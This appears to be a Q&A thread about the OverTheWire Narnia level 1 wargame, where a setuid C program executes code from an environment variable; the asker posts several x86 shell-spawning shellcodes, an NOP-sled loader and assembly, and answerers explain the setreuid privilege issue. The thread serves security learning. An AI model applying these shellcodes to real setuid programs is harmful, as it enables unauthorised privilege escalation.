2

I am currently going through the Narnia challenges on overthewire.org. For the 1-->2 challenge, I am running into an issue that I can't seem to get around. Basically there is a C program called narnia1 that has the setuid bit set. This is the code for it.

int main(){
  int (*ret)();

  if(getenv("EGG")==NULL){    
      printf("Give me something to execute at the env-variable EGG\n");
      exit(1);
  }

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");
  ret();

  return 0;
}

The setuid should give me narnia2 permissions when it's ran, so I am trying to spawn a shell with narnia2 privs in order to read the /etc/narnia_pass/narnia2 password file. I tried two different methods, but both of them spawned a shell as narnia1. The first method I used was trying to print a shellcode with python.

export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

I tried using a simpler shellcode that didn't remove any bad characters, but it did not work either. I just got a narnia1 shell. The second method I used was creating a C program to set the env var with the shellcode.

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(shell,NOP,512);
        memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("EGG", shell, 1);
        putenv(shell);
        system("bash");
        return 0;
}

Both of these methods were identical to the methods I found on all the narnia walkthroughs online, yet I cannot get them to work properly. I tried running my eggcode.c program in the narnia directory instead of the tmp, but that didn't work either. I also tried using shellcode derived from the following assembly language:

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A SHELL!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

Again, this only spawned a narnia1 shell. The code is spawning a shell, so that makes me think that the issue isn't with the shellcode. I am not sure what else I can do, though. Any help would really be appreciated.

forest
  • 64,616
  • 20
  • 206
  • 257
Joel B.
  • 21
  • 2
  • Are you sure it is actually setuid? What is the output of `stat -c "%a %u:%g" ./file`? – forest Apr 08 '18 at 22:32
  • The output for that is 4550 14002:14001. I also ran file narnia1 and got narnia1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e6e2b45e5351a94b313182446f7f08c0dd1a95d, not stripped – Joel B. Apr 08 '18 at 22:40
  • And what user do you want it to run as? That file should run as UID 14002. Try running a file with the same permissions and just do `printf("%d\n", getuid());` if you want to make sure the setuid worked. It might not under your environment if, for example, it is on a partition mounted as `nosuid`. – forest Apr 08 '18 at 22:42
  • I want to run it as 14002, so I can spawn a shell as that user. – Joel B. Apr 08 '18 at 22:46
  • Is it in a directory where setuid normally works, or is setuid disabled where it exists? – forest Apr 08 '18 at 22:47
  • It's in the directory /narnia/narnia1. Exploiting the setuid bit is the whole point of the exercise, so I do not think its mounted as nosuid. All of the walkthroughs were able to use the setuid in this directory. – Joel B. Apr 08 '18 at 22:50
  • Can you confirm that the executable runs as UID 14002 when you do not set any environmental variables for it? Just to make sure that the issue is with setuid and not with the shellcode. – forest Apr 08 '18 at 22:53
  • How would I confirm that if I can't create a file with the same permissions? Everything besides the /tmp directory is read-only. – Joel B. Apr 08 '18 at 23:02
  • Well I assume you have standard system utilities, right? And you have access to things like `/proc`? Or you can write shellcode that simply prints out the UID. If it shows that it is _not_ running as 14002, then you may want to disassemble it to see if there's anything it's doing which wasn't in the source code you were given (e.g. dropping privileges before `__libc_start_main`). – forest Apr 08 '18 at 23:04
  • I do have access to /proc. I checked /proc/mounts, and i see /dev/sda1 does not have nosuid. – Joel B. Apr 09 '18 at 00:45

1 Answers1

1

I think you're on the right track with the assembly code example you gave, and in particular, the part that makes the system call to setreuid. However, you're trying to set the real and effective user IDs to 0. According to the man page, that's not going to work.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

Source: http://man7.org/linux/man-pages/man2/setreuid.2.html

In narnia0.c, you can see that there is a call to setreuid(geteuid(),geteuid()); before the system("/bin/sh") call. So I believe you need to adjust your system call to setreuid in assembly to something similar.

I found an old write-up for narnia0 which includes the narnia0.c source code as it was at the time of the write-up, and it doesn't include that setreuid call. This makes sense since old write-ups for narnia1 didn't have to include a call to setreuid in the shellcode either. Something must have changed either in the way the system is set up or in the way the effective user id is handled when spawning a shell.

Now, shellcode that executes some other command (e.g. cat) directly rather than trying to spawn a shell actually works (can access narnia2 files) without a prior call to setreuid, so it seems that whatever changed is only having an impact on launching a shell. Perhaps the shell itself changed so that now it resets the effective user id to the real user id on launch, but I'm just guessing at this point (although that would explain all of the above).

Spectre87
  • 121
  • 5